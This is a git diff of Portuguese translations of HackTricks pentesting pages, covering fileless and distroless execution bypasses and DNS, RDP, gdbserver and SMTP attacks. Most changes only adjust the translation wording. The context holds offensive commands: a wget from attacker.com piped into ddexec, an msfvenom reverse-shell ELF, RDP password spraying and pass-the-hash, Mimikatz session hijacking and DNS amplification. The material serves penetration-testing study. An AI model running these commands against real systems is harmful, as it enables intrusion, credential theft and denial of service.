-**Se o seu serviço não estiver no índice, pesquise no Google** por outros tutoriais e **me avise se quiser que eu adicione.** Se você **não encontrar nada** no Google, realize seu **próprio pentesting às cegas**, você pode começar **conectando-se ao serviço, fuzzando e lendo as respostas** (se houver).
+**Se o seu serviço não estiver no índice, pesquise no Google** por outros tutoriais e **me avise se quiser que eu adicione.** Se você **não encontrar nada** no Google, realize seu **próprio pentesting às cegas**, você pode começar **conectando-se ao serviço, fuzzing e lendo as respostas** (se houver).
#### 5.1 Ferramentas Automáticas
@@ -68,11 +68,11 @@ Também existem várias ferramentas que podem realizar **avaliações automátic
#### **5.2 Força Bruta em serviços**
-Em alguns cenários, um **Ataque de Força Bruta** pode ser útil para **comprometer** um **serviço**. [**Encontre aqui uma CheatSheet de diferentes serviços para força bruta**](brute-force.md)**.**
+Em alguns cenários, um **Ataque de Força Bruta** pode ser útil para **comprometer** um **serviço**. [**Encontre aqui uma lista de diferentes serviços para força bruta**](brute-force.md)**.**
### 6- [Phishing](phishing-methodology/)
-Se neste ponto você não encontrou nenhuma vulnerabilidade interessante, **talvez precise tentar algum phishing** para entrar na rede. Você pode ler minha metodologia de phishing [aqui](phishing-methodology/):
+Se até este ponto você não encontrou nenhuma vulnerabilidade interessante, **pode ser necessário tentar algum phishing** para entrar na rede. Você pode ler minha metodologia de phishing [aqui](phishing-methodology/):
### **7-** [**Obtendo Shell**](shells/)
@@ -149,7 +149,7 @@ Confira também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode ser
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Oracle de Preenchimento**](../crypto-and-stego/padding-oracle-priv.md)
-
+
Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
index 5f96777e6..6bf202691 100644
--- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
+++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
@@ -1,4 +1,4 @@
-# Bypassar proteções do sistema de arquivos: somente leitura / sem execução / Distroless
+# Bypass de proteções do sistema de arquivos: somente leitura / sem execução / Distroless
@@ -10,11 +10,11 @@ Outras maneiras de apoiar o HackTricks:
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do GitHub.
-
+
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
@@ -62,12 +62,12 @@ Se você deseja executar um binário, mas o sistema de arquivos não permite, a
### Bypass de chamada de sistema FD + exec
-Se você tiver mecanismos de script poderosos dentro da máquina, como **Python**, **Perl** ou **Ruby**, você pode baixar o binário para executar da memória, armazená-lo em um descritor de arquivo de memória (`create_memfd` syscall), que não será protegido por essas proteções e então chamar uma **chamada de sistema `exec`** indicando o **fd como o arquivo a ser executado**.
+Se você tiver mecanismos de script poderosos dentro da máquina, como **Python**, **Perl** ou **Ruby**, você pode baixar o binário para executar da memória, armazená-lo em um descritor de arquivo de memória (`create_memfd` syscall), que não será protegido por essas proteções e então chamar um **`exec` syscall** indicando o **fd como o arquivo a ser executado**.
-Para isso, você pode facilmente usar o projeto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Você pode passar a ele um binário e ele irá gerar um script na linguagem indicada com o **binário comprimido e codificado em b64** com as instruções para **decodificar e descomprimir** em um **fd** criado chamando a chamada de sistema `create_memfd` e uma chamada para a **chamada de sistema exec** para executá-lo.
+Para isso, você pode facilmente usar o projeto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Você pode passar a ele um binário e ele irá gerar um script na linguagem indicada com o **binário comprimido e codificado em b64** com as instruções para **decodificar e descomprimir** em um **fd** criado chamando a syscall `create_memfd` e uma chamada à syscall **exec** para executá-lo.
{% hint style="warning" %}
-Isso não funciona em outras linguagens de script como PHP ou Node porque eles não têm nenhuma maneira **padrão de chamar chamadas de sistema** brutos de um script, então não é possível chamar `create_memfd` para criar o **fd de memória** para armazenar o binário.
+Isso não funciona em outras linguagens de script como PHP ou Node porque eles não têm nenhuma maneira **padrão de chamar chamadas de sistema brutas** de um script, então não é possível chamar `create_memfd` para criar o **fd de memória** para armazenar o binário.
Além disso, criar um **fd regular** com um arquivo em `/dev/shm` não funcionará, pois você não terá permissão para executá-lo porque a **proteção no-exec** será aplicada.
{% endhint %}
@@ -89,11 +89,11 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
[**Memexec**](https://github.com/arget13/memexec) é o próximo passo natural do DDexec. É um **shellcode demonizado do DDexec**, então toda vez que você quiser **executar um binário diferente** não precisa reiniciar o DDexec, você pode simplesmente executar o shellcode memexec via a técnica DDexec e então **comunicar-se com esse daemon para passar novos binários para carregar e executar**.
-Você pode encontrar um exemplo de como usar **memexec para executar binários a partir de um shell reverso PHP** em [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
+Você pode encontrar um exemplo de como usar o **memexec para executar binários a partir de um shell reverso PHP** em [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen
-Com um propósito semelhante ao DDexec, a técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite uma **maneira mais fácil de carregar binários** na memória para posteriormente executá-los. Isso poderia até permitir carregar binários com dependências.
+Com um propósito semelhante ao DDexec, a técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite uma **maneira mais fácil de carregar binários** na memória para executá-los posteriormente. Isso poderia até permitir carregar binários com dependências.
## Bypass do Distroless
@@ -108,10 +108,10 @@ O objetivo dos contêineres distroless é **reduzir a superfície de ataque dos
Em um contêiner distroless, você pode **nem mesmo encontrar `sh` ou `bash`** para obter um shell regular. Você também não encontrará binários como `ls`, `whoami`, `id`... tudo o que você costuma executar em um sistema.
{% hint style="warning" %}
-Portanto, você **não** será capaz de obter um **shell reverso** ou **enumerar** o sistema como costuma fazer.
+Portanto, você **não** conseguirá obter um **shell reverso** ou **enumerar** o sistema como costuma fazer.
{% endhint %}
-No entanto, se o contêiner comprometido estiver executando, por exemplo, um aplicativo web flask, então o Python está instalado e, portanto, você pode obter um **shell reverso em Python**. Se estiver executando node, você pode obter um shell reverso em Node, e o mesmo com a maioria das **linguagens de script**.
+No entanto, se o contêiner comprometido estiver executando, por exemplo, um aplicativo web flask, então o Python está instalado e, portanto, você pode obter um **shell reverso em Python**. Se estiver executando node, você pode obter um shell reverso em Node, e o mesmo com quase qualquer **linguagem de script**.
{% hint style="success" %}
Usando a linguagem de script, você poderia **enumerar o sistema** usando as capacidades da linguagem.
@@ -125,9 +125,9 @@ No entanto, nesse tipo de contêineres, essas proteções geralmente existirão,
Você pode encontrar **exemplos** de como **explorar algumas vulnerabilidades de RCE** para obter **shells reversos de linguagens de script** e executar binários da memória em [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
-
+
-Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -138,9 +138,9 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/network-services-pentesting/pentesting-dns.md b/network-services-pentesting/pentesting-dns.md
index babb7165d..f8daceb3d 100644
--- a/network-services-pentesting/pentesting-dns.md
+++ b/network-services-pentesting/pentesting-dns.md
@@ -10,11 +10,11 @@ Outras maneiras de apoiar o HackTricks:
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -22,7 +22,7 @@ Outras maneiras de apoiar o HackTricks:
## **Informações Básicas**
-O **Sistema de Nomes de Domínio (DNS)** serve como o diretório da internet, permitindo que os usuários acessem sites por meio de **nomes de domínio fáceis de lembrar** como google.com ou facebook.com, em vez dos endereços numéricos de Protocolo de Internet (IP). Ao traduzir nomes de domínio em endereços IP, o DNS garante que os navegadores da web possam carregar rapidamente recursos da internet, simplificando como navegamos no mundo online.
+O **Sistema de Nome de Domínio (DNS)** serve como o diretório da internet, permitindo que os usuários acessem sites por meio de **nomes de domínio fáceis de lembrar** como google.com ou facebook.com, em vez dos endereços numéricos de Protocolo de Internet (IP). Ao traduzir nomes de domínio em endereços IP, o DNS garante que os navegadores da web possam carregar rapidamente recursos da internet, simplificando como navegamos no mundo online.
**Porta padrão:** 53
```
@@ -33,7 +33,7 @@ PORT STATE SERVICE REASON
```
### Diferentes Servidores DNS
-* **Servidores Raiz DNS**: Estes estão no topo da hierarquia do DNS, gerenciando os domínios de nível superior e entrando em ação apenas se os servidores de nível inferior não responderem. A Corporação da Internet para Atribuição de Nomes e Números (**ICANN**) supervisiona sua operação, com um total global de 13.
+* **Servidores Raiz DNS**: Estes estão no topo da hierarquia do DNS, gerenciando os domínios de nível superior e entrando em ação apenas se os servidores de nível inferior não responderem. A Corporação da Internet para Atribuição de Nomes e Números (**ICANN**) supervisiona sua operação, com um total global de 13 servidores.
* **Servidores Autoritativos**: Estes servidores têm a palavra final para consultas em suas zonas designadas, oferecendo respostas definitivas. Se não puderem fornecer uma resposta, a consulta é escalonada para os servidores raiz.
* **Servidores Não Autoritativos**: Sem propriedade sobre zonas DNS, esses servidores coletam informações de domínio por meio de consultas a outros servidores.
* **Servidor de DNS em Cache**: Este tipo de servidor memoriza respostas de consultas anteriores por um tempo determinado para acelerar os tempos de resposta para futuras solicitações, com a duração do cache ditada pelo servidor autoritativo.
@@ -44,7 +44,7 @@ PORT STATE SERVICE REASON
### **Obtenção de Banner**
-Não existem banners no DNS, mas você pode obter a consulta mágica para `version.bind. CHAOS TXT` que funcionará na maioria dos servidores de nomes BIND.\
+Não existem banners no DNS, mas você pode obter a consulta mágica para `version.bind. CHAOS TXT`, que funcionará na maioria dos servidores BIND.\
Você pode realizar esta consulta usando `dig`:
```bash
dig version.bind CHAOS TXT @DNS
@@ -82,7 +82,7 @@ dig -x 2a00:1450:400c:c06::93 @ #reverse IPv6 lookup
#Use [-p PORT] or -6 (to use ivp6 address of dns)
```
-#### Automatização
+#### Automação
```bash
for sub in $(cat );do dig $sub. @ | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
@@ -112,7 +112,7 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n #Zone transfer
```
{% hint style="info" %}
-Se você conseguir encontrar subdomínios que resolvem para endereços IP internos, você deve tentar realizar um reverse dns BF para os NSs do domínio pedindo por essa faixa de IP.
+Se você conseguir encontrar subdomínios que resolvem para endereços IP internos, você deve tentar realizar um reverse dns BF para os NSs do domínio solicitando essa faixa de IP.
{% endhint %}
Outra ferramenta para fazer isso: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
@@ -148,14 +148,14 @@ Forçar a entrada usando solicitações "AAAA" para reunir os endereços IPv6 do
```bash
dnsdict6 -s -t
```
-Realizar força bruta na resolução reversa de DNS usando endereços IPv6
+Realizar força bruta no DNS reverso usando endereços IPv6
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
### DNS Recursion DDoS
Se o **DNS recursion estiver habilitado**, um atacante poderia **falsificar** a **origem** no pacote UDP para fazer com que o **DNS envie a resposta para o servidor da vítima**. Um atacante poderia abusar dos tipos de registros **ANY** ou **DNSSEC** pois eles costumam ter respostas maiores.\
-A maneira de **verificar** se um DNS suporta **recursão** é consultar um nome de domínio e **verificar** se a **flag "ra"** (_recursão disponível_) está na resposta:
+A maneira de **verificar** se um DNS suporta **recursão** é consultar um nome de domínio e **verificar** se a **flag "ra"** (_recursion available_) está na resposta:
```bash
dig google.com A @
```
@@ -167,7 +167,7 @@ dig google.com A @
![](<../.gitbook/assets/image (146).png>)
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconhecimento até a geração de relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -217,12 +217,12 @@ host.conf
```
Configurações perigosas ao configurar um servidor Bind:
-| **Opção** | **Descrição** |
-| ----------------- | ------------------------------------------------------------------------------ |
-| `allow-query` | Define quais hosts têm permissão para enviar solicitações ao servidor DNS. |
-| `allow-recursion` | Define quais hosts têm permissão para enviar solicitações recursivas ao servidor DNS. |
-| `allow-transfer` | Define quais hosts têm permissão para receber transferências de zona do servidor DNS. |
-| `zone-statistics` | Coleta dados estatísticos das zonas. |
+| **Opção** | **Descrição** |
+| ----------------- | ----------------------------------------------------------------------------- |
+| `allow-query` | Define quais hosts podem enviar solicitações para o servidor DNS. |
+| `allow-recursion` | Define quais hosts podem enviar solicitações recursivas para o servidor DNS. |
+| `allow-transfer` | Define quais hosts podem receber transferências de zona do servidor DNS. |
+| `zone-statistics` | Coleta dados estatísticos das zonas. |
## Referências
@@ -282,7 +282,7 @@ Description: DNS enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
```
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -298,6 +298,6 @@ Outras maneiras de apoiar o HackTricks:
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/network-services-pentesting/pentesting-rdp.md b/network-services-pentesting/pentesting-rdp.md
index a78061a67..155e21bea 100644
--- a/network-services-pentesting/pentesting-rdp.md
+++ b/network-services-pentesting/pentesting-rdp.md
@@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -41,35 +41,35 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
Verifica a criptografia disponível e a vulnerabilidade de DoS (sem causar DoS ao serviço) e obtém informações do Windows NTLM (versões).
-### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp)
+### [Força bruta](../generic-methodologies-and-resources/brute-force.md#rdp)
-**Tenha cuidado, você pode bloquear contas**
+**Cuidado, você pode bloquear contas**
-### **Password Spraying**
+### **Spraying de Senha**
-**Tenha cuidado, você pode bloquear contas**
+**Cuidado, você pode bloquear contas**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
-### Conectar com credenciais/hash conhecidas
+### Conectar com credenciais/hash conhecidos
```bash
rdesktop -u
rdesktop -d -u -p
xfreerdp [/d:domain] /u: /p: /v:
xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash
```
-### Verificar credenciais conhecidas em serviços RDP
+### Verificar credenciais conhecidas contra serviços RDP
O rdp\_check.py do Impacket permite que você verifique se algumas credenciais são válidas para um serviço RDP:
```bash
rdp_check /:@
```
-
+
-**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
+**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconhecimento até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
@@ -91,7 +91,7 @@ Agora você estará dentro da sessão RDP selecionada e terá que se passar por
**Importante**: Quando você acessa uma sessão RDP ativa, você encerrará a sessão do usuário que a estava utilizando.
-Você poderia obter senhas do processo fazendo dump delas, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas em notepad sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
+Você poderia obter senhas do processo fazendo dump delas, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
#### **Mimikatz**
@@ -104,7 +104,7 @@ ts::remote /id:2 #Connect to the session
Combinando esta técnica com **stickykeys** ou **utilman você será capaz de acessar um CMD administrativo e qualquer sessão RDP a qualquer momento**
-Você pode procurar RDPs que já foram comprometidos com uma dessas técnicas com: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
+Você pode procurar RDPs que já foram comprometidos com uma dessas técnicas usando: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### Injeção de Processo RDP
@@ -148,7 +148,7 @@ Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -160,7 +160,7 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
diff --git a/network-services-pentesting/pentesting-remote-gdbserver.md b/network-services-pentesting/pentesting-remote-gdbserver.md
index 31879e798..f7f426e7f 100644
--- a/network-services-pentesting/pentesting-remote-gdbserver.md
+++ b/network-services-pentesting/pentesting-remote-gdbserver.md
@@ -6,15 +6,15 @@
Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -22,7 +22,7 @@ Outras maneiras de apoiar o HackTricks:
## **Informações Básicas**
-**gdbserver** é uma ferramenta que permite a depuração de programas remotamente. Ele é executado ao lado do programa que precisa de depuração no mesmo sistema, conhecido como "alvo". Essa configuração permite que o **GNU Debugger** se conecte de uma máquina diferente, o "host", onde o código-fonte e uma cópia binária do programa depurado estão armazenados. A conexão entre o **gdbserver** e o depurador pode ser feita por TCP ou por uma linha serial, permitindo configurações de depuração versáteis.
+**gdbserver** é uma ferramenta que permite a depuração de programas remotamente. Ele é executado ao lado do programa que precisa de depuração no mesmo sistema, conhecido como "alvo". Essa configuração permite que o **GNU Debugger** se conecte de uma máquina diferente, o "host", onde o código-fonte e uma cópia binária do programa depurado estão armazenados. A conexão entre o **gdbserver** e o depurador pode ser feita por TCP ou uma linha serial, permitindo configurações de depuração versáteis.
Você pode fazer um **gdbserver escutar em qualquer porta** e no momento **o nmap não é capaz de reconhecer o serviço**.
@@ -30,7 +30,7 @@ Você pode fazer um **gdbserver escutar em qualquer porta** e no momento **o nma
### Upload e Execução
-Você pode facilmente criar um **backdoor elf com msfvenom**, fazer upload e executá-lo:
+Você pode facilmente criar uma **porta dos fundos elf com msfvenom**, fazer upload e executá-la:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
@@ -195,9 +195,9 @@ RemoteCmd()
```
{% endcode %}
-
+
-**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
+**Configuração instantaneamente disponível para avaliação de vulnerabilidades e testes de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
{% embed url="https://pentest-tools.com/" %}
@@ -208,7 +208,7 @@ RemoteCmd()
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/network-services-pentesting/pentesting-smtp/README.md b/network-services-pentesting/pentesting-smtp/README.md
index e1df885a6..3a36b2a08 100644
--- a/network-services-pentesting/pentesting-smtp/README.md
+++ b/network-services-pentesting/pentesting-smtp/README.md
@@ -1,12 +1,12 @@
-# 25,465,587 - Pentesting SMTP/s
+# 25,465,587 - Teste de invasão SMTP/s
-Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
+Aprenda hacking AWS do zero ao avançado comhtARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@@ -14,17 +14,17 @@ Outras maneiras de apoiar o HackTricks:
-
+
